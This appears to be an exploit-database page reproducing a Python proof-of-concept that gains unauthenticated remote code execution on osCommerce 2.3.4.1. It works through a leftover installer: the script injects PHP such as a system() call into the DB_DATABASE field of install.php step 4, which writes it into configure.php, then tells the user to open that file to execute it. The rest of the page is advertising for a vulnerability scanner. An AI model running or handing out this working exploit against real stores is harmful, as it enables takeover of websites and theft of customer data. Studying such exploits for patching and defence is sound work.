oscommerce 2.3.4.1 remote code execution

▸▸▸ Exploit & Vulnerability >>   webapps exploit & php vulnerability




oscommerce 2.3.4.1 remote code execution Code Code...
				
# Exploit Title: osCommerce 2.3.4.1 Remote Code Execution # Date: 29.0.3.2018 # Exploit Author: Simon Scannell - https://scannell-infosec.net <contact@scannell-infosec.net> # Version: 2.3.4.1, 2.3.4 - Other versions have not been tested but are likely to be vulnerable # Tested on: Linux, Windows # If an Admin has not removed the /install/ directory as advised from an osCommerce installation, it is possible # for an unauthenticated attacker to reinstall the page. The installation of osCommerce does not check if the page # is already installed and does not attempt to do any authentication. It is possible for an attacker to directly # execute the "install_4.php" script, which will create the config file for the installation. It is possible to inject # PHP code into the config file and then simply executing the code by opening it. import requests # enter the the target url here, as well as the url to the install.php (Do NOT remove the ?step=4) base_url = "http://localhost//oscommerce-2.3.4.1/catalog/" target_url = "http://localhost/oscommerce-2.3.4.1/catalog/install/install.php?step=4" data = { 'DIR_FS_DOCUMENT_ROOT': './' } # the payload will be injected into the configuration file via this code # ' define(\'DB_DATABASE\', \'' . trim($HTTP_POST_VARS['DB_DATABASE']) . '\');' . "\n" . # so the format for the exploit will be: '); PAYLOAD; /* payload = '\');' payload += 'system("ls");' # this is where you enter you PHP payload payload += '/*' data['DB_DATABASE'] = payload # exploit it r = requests.post(url=target_url, data=data) if r.status_code == 200: print("[+] Successfully launched the exploit. Open the following URL to execute your code\n\n" + base_url + "install/includes/configure.php") else: print("[-] Exploit did not execute as planned")

Oscommerce 2.3.4.1 remote code execution Vulnerability / Exploit Source : Oscommerce 2.3.4.1 remote code execution



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.